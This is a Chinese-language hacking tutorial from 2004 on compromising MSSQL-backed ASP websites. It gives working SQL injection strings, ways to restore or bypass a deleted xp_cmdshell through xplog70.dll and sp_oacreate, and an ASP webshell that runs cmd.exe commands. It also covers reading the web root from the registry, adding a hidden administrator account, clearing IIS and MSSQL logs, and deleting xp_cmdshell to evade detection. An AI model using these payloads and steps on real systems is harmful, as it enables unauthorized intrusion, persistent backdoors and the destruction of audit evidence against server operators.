SA遇到xp_cmdshell刪了時的處置方法
作者:tank 日期:2004-12-10
SA遇到xp_cmdshell刪了時的處置方法
有時候在入侵的時候總是碰到先煩惱的問題,比如SA遇到xp_cmdshell時,如果管理員把xp_cmdshell刪了怎麼辦呢?總是眼看著肉雞跑了吧!今天我就對XP_CMDSHELL做一先解釋,希望大家能看明白,能看懂
眾所周知,在MSSQL中,通過XP_cmdshell存儲擴展,擁護具有sysadmin權限,用來執行系統任意命令
但是那先網管也不是吃素的,都回把它刪除,所以在SQL Injection攻擊中,獲得xp_cmdshell的執行權限才是最終的目標,在MSSQL中一共有8中權限分別是 sysadmin dbcreator diskadmin processadmin serveradmin setupadmin securityadmin bulkadmin 這8種 每一個都具有不同的權限,大家都因該可以知道其中的sysadmin權限是最高的,也是我們想要的。
大家都知道在MSSQL中,SA的權限是至高無上的了,但是有時獲得了個SA 卻無法執行命令是,是不是很鬱悶了呢?獲得了個SA一般我們都用SQLTOOLS.EXE連接吧!一個比較好的工具,我也喜歡,呵呵!首先還是讓我們看看吧!用SQLTOOLS.EXE連上後看看它XP_cmdshell存儲擴展是不是被刪了,在「利用目錄」菜單中打開「執行數據庫命令」 填入我們要執行的命令:
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
如果返回結果是1的話,說明它沒有刪除這個擴展存儲過程,我們可以執行DOS命令了,如果不行呢?
接著看,還有辦法,我們直接在數據庫命令執行窗寫入:
Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from
master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
上面的意思就是恢復默認的存儲過程,如果返回1的話說明恢復成功,不然就是存儲擴展被刪除了,需要我們給它上傳個xplog70.dll用SQLTOOLS.EXE自帶的文件上傳功能可以輕鬆實現了,把xplog70.dll文件傳到對方的c:\winnt\system32下,(不行的話,需傳到對方的MSSQL目錄裡)在執行數據庫命令:
Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:\winnt\system32\xplog70.dll'
好了,接下來就是我們常用的命令 net user 和 net localgroup administrators
命令了,還有清楚IIS日記和MSSQL日記就OK了!
上面的方法是可以了但我們還可以饒過xp_cmdshell ,來執行系統命令,大家知道在MSSQL中可以通過兩個存儲擴展來創建activex自動腳本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通過它們執行系
統命令的語句我們可以自己給他加上哦,代碼如下:
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net start telnet'
上面那段代碼的意思就是通過服務器上的 wscript.shel 來執行net start telnet 開啟服務器的telnet 接下來呢就是通過FSO對服務器進行文件管理或者直接創建文件並寫入數據,呵呵,可以直接寫一個WEBSHELL到服務器上去哦!!!HOHO~~~~
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'creatextifile', @f out, 'c:\inetpub\wwwroot\mad.asp', 1
exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>
上面的代碼就在服務器c:\inetpub\wwwroot\mad.asp上創建了了只有兩行的代碼我們直接連上去就OK了
大家不防試試吧。下面我還是對大家入侵時做一先解釋吧,希望大家能看明白,
舉個例子現在咱們要入侵的網站是這個 www.***.com
第一還是踩點,找到入口,現在注入這麼流行,還是注入吧,因為一般網站都是ASP+MSSQL結構來架設的假如這個。www.***.com/script.asp?id=48
還是一樣用, ; and 1=1 and 1=2判斷一下,確定可以注入後,我們就可以利用這個漏洞拿到服務器和數據庫的一些相關信息。想看服務器打的補丁情況,我們提交:
www.***.com/script.asp?id=48 and 1=(select @@VERSION)
我想現在大部分服務器都打上SP4補丁了。我們看看其它的,看看他的數據庫連接賬號的權限,提交:
www.***.com/script.asp?id=48 and 1=(Select IS_SRVROLEMEMBER('sysadmin'))
如果返回正常,這證明當前連接的賬號是服務器角色sysadmin權限了,看來連接賬號多半是採用SA賬號連接的了,自己有好做的了,還是試一下。萬一猜錯了呢?提交:
www.***.com/script.asp?id=48 and 'sa'=(Select System_user)
用來查看連接賬號是不是用sa 連接的,如果IE返回正常。這證明了連接賬號真的是SA,看來權限是高了哦
(如果要獲得已登錄用戶的身份,則使用Transact-SQL 語句:Select SYSTEM_USER)
下面我們就利用MSSQL存儲過程,得到WebShell,首先還是看看xp_cmdshell是否被管理員刪除了 提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
如果被刪除了,NO PROBLEM 我們給他恢復一下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
試一下 看看xp_cmdshell是不是恢復過來了 提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
如果沒有返回內容。這證明,管理員把xplog70.dll這個動態鏈接庫給改名了。要不給刪除了。現在大家可以用上面的方法試試了,到這裡有耐心的話還可以繼續啊。可以用CZY提到的方法試試。
不過還用到兩個MSSQL存儲過程
xp_regread 擴展存儲過程和xp_regread Web 助手存儲過程:
xp_regread是用來讀取註冊表信息的,我們通過這個存儲過程來得到保存在註冊表中Web絕對路徑
sp_makewebtask在我們這裡是用來得到WebShell的,其主要功能就是導出數據庫中表的記錄為文件,文件名你可以自己指定。當然我們這裡就指定為ASP腳本文件
CZY的文章已經寫得很詳細了。所以,我這裡就只簡單的提一下吧! 先創建一個表,建一字段,然後向這個字段中加入木馬的內容。然後,把內容通過xp_makewebtask存儲過程導出成ASP腳本保存在Web絕對路徑中
再次刪除建的臨時表 不知道的可要到網上找找哦!
不過還是先看看這兩個存儲過程是不是被刪了。。提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where name='xp_regread')
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where name='sp_makewebtask')
如果兩個都返回正常的話,說明兩個存儲過程都沒有刪除 :
(大家都知道MS的東西很多都放在註冊表中的,Web位置我們可以在註冊表中得到,位置如下:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots
利用擴展存儲過程xp_regread我們可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/'
這樣,就取出來了,但問題又來了,取是取出來了,我們怎麼在IE中返回它的值呢?首先:先創建一個臨時表,表中加一字段,類型為:char 255。呵呵,用它來保存Web絕對路徑的值。表建好後,我們就用讀取註冊表的方法,把返回的值保存在一變量中。然後向新建的表中加入記錄(即變量的值)。這樣,路徑就寫入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 臨時表 (臨時字段名) values(@result);--
然後,我們再提交: 1=(select count(*) from 臨時表 where 臨時字段名>1) )
我們用CZY的方法繼續提交:
www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));
這樣我們就成功地建了一個名為ABCD的表,並且添加了類型是char,長度為255的字段名DACB。然後向表中加數據:
www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',
@result output insert into cyfd (DACB) values(@result);--
繼續提交從註冊表中讀出Web絕對路徑,再把路徑插入到剛建的表中。然後報出WebShell的絕對路徑
www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)
IE返回錯誤,我們得到Web絕對路徑 例如:e:\Inetpub\wwwroot
還要刪除剛才建的表 提交:
www.***.com/script.asp?id=48;drop table cyfd;--
接下來就好辦多了,路徑都知道了。得到WEBSHELL因該沒問題了吧,得到WEBSHELL後,通過WEBSHELL上傳xplog70.dll傳到E:\inetpub\wwwroot目錄下 我們給他恢復下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'e:\inetpub\wwwroot\xplog70.dll'
(恢復,支持絕對路徑的恢復!)
用IE來查看一下是不是已經恢復了。提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
如IE返回正常。說明已經恢復了!下面就建用戶吧。。。。
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'
提升管理員
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd /add'
好了到了這裡就OK了。。如果對方有終端的話,就連接吧。,還有清除IIS日誌,和MSSQL日誌 閃人!~
還有一點就是把xp_cmdshell也給他刪除掉,不要讓網管發現了。HOHO~~~~